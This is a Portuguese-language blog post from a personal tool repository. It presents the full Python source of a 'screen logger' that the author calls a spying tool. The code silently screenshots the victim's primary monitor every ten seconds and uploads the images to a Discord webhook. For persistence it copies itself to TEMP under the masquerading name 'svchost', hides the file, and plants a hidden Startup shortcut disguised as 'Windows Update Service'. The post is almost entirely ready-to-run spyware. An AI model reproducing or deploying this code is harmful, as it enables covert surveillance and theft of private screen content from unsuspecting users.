Repositorio by: David A. Mascaro

Ferramentas, scripts e experimentos

DEBIDO SCREEN LOGGER

Python Automation Networking

Neste post apresento uma ferramenta em Python desenvolvida espionagem Este simples screen logger possui tecnica Mitre para persistencia.

Estrutura do projeto

Debido-ScreenLogger/
└─ main.py

Código-fonte

main.py

import mss
import mss.tools
import time
import os
import sys
import requests
import shutil
import win32com.client
import win32api
import win32con
import subprocess
from datetime import datetime
import io
import traceback
import json

# 🔑 WEBHOOK DO DISCORD - ALTERE AQUI
WEBHOOK_URL = "WEBHOOK"

# Configurações
INTERVALO = 10  # segundos entre capturas
LOG_FILE = os.path.join(os.getenv('TEMP'), 'screenlogger_log.txt')

def carregar_contador():
    """Carrega o contador de prints enviados"""
    try:
        contador_file = os.path.join(os.getenv('TEMP'), 'screenshot_counter.json')
        if os.path.exists(contador_file):
            with open(contador_file, 'r') as f:
                data = json.load(f)
                return data.get('total', 0)
    except:
        pass
    return 0

def salvar_contador(contador):
    """Salva o contador de prints enviados"""
    try:
        contador_file = os.path.join(os.getenv('TEMP'), 'screenshot_counter.json')
        data = {
            'total': contador,
            'ultima_atualizacao': datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        }
        with open(contador_file, 'w') as f:
            json.dump(data, f)
    except:
        pass

def log_console(msg):
    """Mostra log no console e salva em arquivo"""
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"[{timestamp}] {msg}")
    
    try:
        with open(LOG_FILE, 'a', encoding='utf-8') as f:
            f.write(f"[{timestamp}] {msg}\n")
    except:
        pass

def setup_persistencia():
    """Configura persistência com feedback visual"""
    try:
        script_atual = os.path.abspath(sys.argv[0])
        temp_dir = os.getenv('TEMP')
        
        # Verifica se já está na pasta TEMP
        if os.path.dirname(script_atual) == temp_dir:
            log_console("✅ Já está executando da pasta TEMP")
            return
        
        log_console(f"📁 Script atual: {script_atual}")
        
        # Define nome do arquivo na TEMP
        if getattr(sys, 'frozen', False):
            nome_arquivo = "svchost.exe"
            log_console("⚙️ Modo: EXECUTÁVEL COMPILADO")
        else:
            nome_arquivo = "svchost.py"
            log_console("⚙️ Modo: SCRIPT PYTHON")
        
        destino = os.path.join(temp_dir, nome_arquivo)
        log_console(f"➡️ Destino: {destino}")
        
        # Remove versão anterior
        if os.path.exists(destino):
            log_console("🔄 Removendo versão anterior...")
            try:
                os.system(f'taskkill /F /IM "{nome_arquivo}" 2>nul')
                time.sleep(1)
                if os.path.exists(destino):
                    os.remove(destino)
                    log_console("✅ Versão anterior removida")
            except Exception as e:
                log_console(f"⚠️ Erro ao remover: {str(e)}")
        
        # Copia para TEMP
        log_console("📋 Copiando para pasta TEMP...")
        shutil.copy2(script_atual, destino)
        log_console("✅ Arquivo copiado com sucesso")
        
        # Oculta o arquivo
        try:
            win32api.SetFileAttributes(destino, win32con.FILE_ATTRIBUTE_HIDDEN)
            log_console("✅ Arquivo ocultado")
        except Exception as e:
            log_console(f"⚠️ Erro ao ocultar: {str(e)}")
        
        # Cria atalho na inicialização
        log_console("🔗 Criando atalho na inicialização...")
        startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')
        try:
            if not os.path.exists(startup_path):
                os.makedirs(startup_path, exist_ok=True)
            
            shell = win32com.client.Dispatch("WScript.Shell")
            atalho_path = os.path.join(startup_path, "WindowsUpdate.lnk")
            atalho = shell.CreateShortCut(atalho_path)
            atalho.TargetPath = destino
            atalho.WindowStyle = 7  # Minimizado
            atalho.Description = "Windows Update Service"
            atalho.Save()
            
            try:
                win32api.SetFileAttributes(atalho_path, win32con.FILE_ATTRIBUTE_HIDDEN)
                log_console("✅ Atalho criado e ocultado")
            except:
                log_console("⚠️ Atalho criado (não foi possível ocultar)")
                
        except Exception as e:
            log_console(f"❌ Erro ao criar atalho: {str(e)}")
            log_console(traceback.format_exc())
        
        # Executa a cópia
        log_console("🚀 Iniciando nova instância...")
        if getattr(sys, 'frozen', False):
            subprocess.Popen([destino], creationflags=subprocess.CREATE_NO_WINDOW)
        else:
            subprocess.Popen([sys.executable, destino], creationflags=subprocess.CREATE_NO_WINDOW)
        
        log_console("✅ Persistência configurada com sucesso")
        log_console("🛑 Saindo da instância original...")
        time.sleep(2)
        sys.exit(0)
        
    except Exception as e:
        log_console(f"❌ ERRO NA PERSISTÊNCIA: {str(e)}")
        log_console(traceback.format_exc())

def capturar_e_enviar(contador_total):
    """Captura tela e envia para Discord com status code - VERSÃO SIMPLIFICADA"""
    try:
        log_console("📸 Capturando tela...")
        
        with mss.mss() as sct:
            # Captura monitor primário
            monitor = sct.monitors[1]  # Monitor principal
            img = sct.grab(monitor)
            
            # Salva em arquivo temporário
            temp_dir = os.getenv('TEMP')
            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            temp_file = os.path.join(temp_dir, f"screen_{timestamp}.png")
            
            mss.tools.to_png(img.rgb, img.size, output=temp_file)
            
            if not os.path.exists(temp_file) or os.path.getsize(temp_file) == 0:
                log_console("❌ Captura vazia, pulando...")
                return contador_total, False
            
            file_size = os.path.getsize(temp_file)
            log_console(f"✅ Captura concluída ({file_size} bytes)")
            
            # Incrementa o contador
            novo_contador = contador_total + 1
            
            # Envia para Discord - MÉTODO SIMPLES E FUNCIONAL
            with open(temp_file, 'rb') as f:
                # Método 1: Usando files com conteúdo embutido
                files = {
                    'file': ('screenshot.png', f, 'image/png')
                }
                data = {
                    'content': f"🖥️ Captura de tela | Total: {novo_contador}"
                }
                
                log_console("📤 Enviando para Discord...")
                response = requests.post(
                    WEBHOOK_URL, 
                    data=data,
                    files=files,
                    timeout=30
                )
                
            # Remove arquivo temporário
            try:
                os.remove(temp_file)
            except:
                pass
            
            # Verifica resposta
            status_msg = f"📨 Status: {response.status_code}"
            if response.status_code in (200, 204):
                status_msg += " ✅ SUCESSO"
                salvar_contador(novo_contador)
                contador_total = novo_contador
            else:
                status_msg += " ❌ FALHA"
                if response.text:
                    status_msg += f" - {response.text[:100]}"
            
            log_console(status_msg)
            return contador_total, (response.status_code in (200, 204))
            
    except Exception as e:
        log_console(f"❌ ERRO NA CAPTURA/ENVIO: {str(e)}")
        log_console(traceback.format_exc())
        return contador_total, False

# ===========================================================
# INÍCIO DA EXECUÇÃO
# ===========================================================
log_console("="*50)
log_console("🚀 INICIANDO SCREENLOGGER COM PERSISTÊNCIA")
log_console(f"PID: {os.getpid()}")
log_console(f"Caminho atual: {os.path.abspath(sys.argv[0])}")

# Carrega contador
contador_total = carregar_contador()
log_console(f"🔢 Contador atual: {contador_total}")

# Testa webhook inicialmente
log_console("="*50)
log_console("🔍 TESTANDO WEBHOOK...")
try:
    test_payload = {"content": f"✅ Bot iniciado com sucesso! | {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} | Total anterior: {contador_total}"}
    test_response = requests.post(
        WEBHOOK_URL, 
        json=test_payload, 
        timeout=10
    )
    log_console(f"🧪 Status do teste: {test_response.status_code}")
    if test_response.status_code in (200, 204):
        log_console("✅ WEBHOOK FUNCIONANDO CORRETAMENTE!")
    else:
        log_console(f"❌ WEBHOOK FALHOU! Status: {test_response.status_code}")
        if test_response.text:
            log_console(f"Resposta: {test_response.text[:200]}")
except Exception as e:
    log_console(f"❌ ERRO AO TESTAR WEBHOOK: {str(e)}")

# Configura persistência
log_console("="*50)
log_console("🔐 CONFIGURANDO PERSISTÊNCIA...")
setup_persistencia()

# Loop principal de captura
log_console("="*50)
log_console(f"⏱️ INICIANDO LOOP PRINCIPAL (capturas a cada {INTERVALO} segundos)")
log_console("Pressione CTRL+C para interromper")

while True:
    try:
        contador_total, sucesso = capturar_e_enviar(contador_total)
        
        if sucesso:
            log_console(f"✅ Ciclo completo! Total acumulado: {contador_total}")
        
        # Pausa antes da próxima captura
        log_console(f"⏳ Aguardando {INTERVALO} segundos...")
        time.sleep(INTERVALO)
        
    except KeyboardInterrupt:
        log_console("⏹️ Interrompido pelo usuário")
        break
    except Exception as e:
        log_console(f"❌ ERRO NO LOOP PRINCIPAL: {str(e)}")
        log_console(traceback.format_exc())
        time.sleep(INTERVALO)

log_console("="*50)
log_console("✅ EXECUÇÃO FINALIZADA")